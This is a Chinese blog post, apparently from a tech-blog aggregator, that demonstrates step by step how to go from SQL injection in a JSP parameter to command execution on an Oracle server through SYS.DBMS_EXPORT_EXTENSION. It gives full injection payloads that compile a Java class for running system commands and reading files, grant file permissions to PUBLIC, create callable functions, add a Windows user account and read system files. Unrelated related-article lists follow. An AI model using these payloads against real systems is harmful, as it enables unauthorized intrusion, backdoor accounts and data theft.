以下的演示都是在web上的sql plus执行的，在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
　　/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
　　的形式即可。(用" 'a'|| "是为了让语句返回true值)
　　语句有点长，可能要用post提交。
　　以下是各个步骤：
　　1.创建包
　　通过注入 SYS.DBMS_EXPORT_EXTENSION 函数，在oracle上创建Java包LinxUtil，里面两个函数，runCMD用于执行系统命令，readFile用于读取文件：
　　/xxx.jsp?id=1 and '1'<>'a'||(
　　select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
　　create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
　　new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
　　}'''';END;'';END;--','SYS',0,'1',0) from dual
　　)
　　------------------------
　　如果url有长度限制，可以把readFile()函数块去掉，即：
　　/xxx.jsp?id=1 and '1'<>'a'||(
　　select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
　　create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
　　new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
　　}'''';END;'';END;--','SYS',0,'1',0) from dual
　　)
　　同时把后面步骤 提到的 对readFile()的处理语句去掉。
　　------------------------------
　　2.赋Java权限
　　select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
　　3.创建函数
　　select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
　　create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
　　select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
　　create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
　　4.赋public执行函数的权限
　　select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
　　select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
　　5.测试上面的几步是否成功
　　and '1'<>'11'||(
　　select  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
　　)
　　and '1'<>(
　　select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
　　)
　　6.执行命令：
　　/xxx.jsp?id=1 and '1'<>(
　　select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
　　)
　　/xxx.jsp?id=1 and '1'<>(
　　select  sys.LinxReadFile('c:/boot.ini') from dual

　)

实例演示oracle注入获取cmdshell的全过程相关推荐

1. PyQt5 技术篇-设置QTableWidget表格组件默认值实例演示，如何获取QTableWidget表格组件里的值，获取表格的行数和列数

   self.tableWidget.setItem(0, 0, QTableWidgetItem("设置值的内容")) 可以设置指定单元格里的值. self.tableWidget. ...

2. JavaScript 技术篇-简单的两行js代码获取password不可见密码实例演示，js获取密码输入框里的值

   如下图,chrome 控制台. 先获取到密码框的dom节点,再通过value就能获取到不可见的值. 密码框如下,其id是password. 右键检查元素可以定位到该元素的 dom 节点,里面直接会显示 ...

3. c 获取当前时间插入oracle数据库,Oracle如何获取系统当前时间等操作实例，c++获取系统时间...

   Oracle如何获取系统当前时间等操作实例,c++获取系统时间 获取系统当前时间 date类型的 select sysdate from dual; char类型的 select to_char(sy ...

4. Oracle 数据库直接执行本地sql文件、sql脚本实例演示

   @ + sql 文件路径即可执行 sql 文件里的 sql 语句. 实例演示: 我要执行的 sql 文件路径是 C:\Users\Administrator\Desktop\delete.sql , ...

5. php获取网络图片的大小,PHP获取远程图片尺寸和大小实例演示

   这篇文章主要为大家详细介绍了PHP获取远程图片尺寸和大小实例演示,具有一定的参考价值,感兴趣的小伙伴们可以参考一下,有需要的朋友可以收藏方便以后借鉴. PHP功能强大,今天361源码给大家介绍的是: ...

6. 国产化达梦数据库数据迁移文档：oracle11g数据库转达梦8数据库实例演示

   Oracle 数据库转达梦数据库实例演示 第一章:达梦数据库用户数据准备 ① 直接执行 sql 语句创建用户(该步执行完可直接第二章) ② 使用工具创建用户 第二章:达梦数据库转库 oracle 转达 ...

7. 国产化人大金仓数据库转库工具：oracle12c数据库转kingbase8.6人大金仓数据库实例演示

   oracle12c数据库转人大金仓数据库实例演示 第一章:数据准备 ① 人大金仓建库建用户 ② 人大金仓授权表空间 ③ 人大金仓创建 schema 表 第二章:转库演示 ① 转库工具准备 ② 创建源库 ...

8. Java 技术篇-java连接并操作数据库实例演示，执行查询、插入、更新和删除操作

   Java 操作数据库 第一章:Java 代码四个类实现 ① 项目结构展示 ② 数据库连接类 ③ 数据库查询类 ④ 数据库更新类 ⑤ 数据库主类 第二章:查询和更新操作实例演示 ① 查询操作演示 ② 更 ...

9. 跟我一起学.NetCore之Options实例演示及分析

   前言 来啦!来啦!上一节一堆代码,是不是感觉甚是无味啊?没关系,这里结合上一节内容专注举例演示,绝不废话!走起~~~~~ 正文 老规矩,一个WebApi项目走起,项目结构如下: 上一节中提到,Opti ...

最新文章

1. 第九章、文件与文件系统的压缩与打包 3. 打包命令: tar
2. Verilog中基本的数据类型
3. 10 行 Python 代码写的模糊查询
4. Servlet与线程安全
5. 现代软件工程 M2 博客要求
6. 中除了某个数以外的_除了奇异博士以外漫威中九位超强法师，第四位活了一万七千年...
7. 网络安全基础——NTFS安全权限
8. V20西门子变频器怎么选型
9. 项目文档----项目描述
10. 《数据库原理与应用》课程实验报告三 --数据库的嵌套查询
11. 众手游公司崛起：腾讯“主营收入”面临危机！
12. 理论篇3：深度学习之----Momentum优化器(2)
13. 第二章：软件测试的方法
14. Function的含义
15. PowerBuilder打印QRCode
16. 【MySQL】绿色版下载配置教程（Windows）
17. leetcode每日一题第三十二天-剑指 Offer 65. 不用加减乘除做加法（easy？？middle了吧）
18. 1. 机器人动力学—动力学的数学基础
19. 数据库实验4---数据完整性
20. 计算机科学与应用 期刊级别,智能计算机与应用是什么级别的刊物

热门文章

1. 【C++ grammar】抽象、封装与this指针
2. fisher-yates_使用Fisher-Yates随机播放算法以O（n）时间随机播放给定数组
3. Servlet的配置
4. 实训09.11：java重点内容介绍
5. SPI通信原理---STM32F4--HAL
6. 导出excel数字前面的0消失_EXCEL文本之王TEXT函数的4个运用
7. linux 卸载sphinx,sphinx管理脚本,实现sphinx启动、关闭、重启、生成索引功能 | linux运维小站–linux系统架构_服务器运维_Linux运维工程师工作手札...
8. C语言模拟实现标准库函数之strcat()
9. 九大经典算法之插入排序、希尔排序
10. 623. 在二叉树中增加一行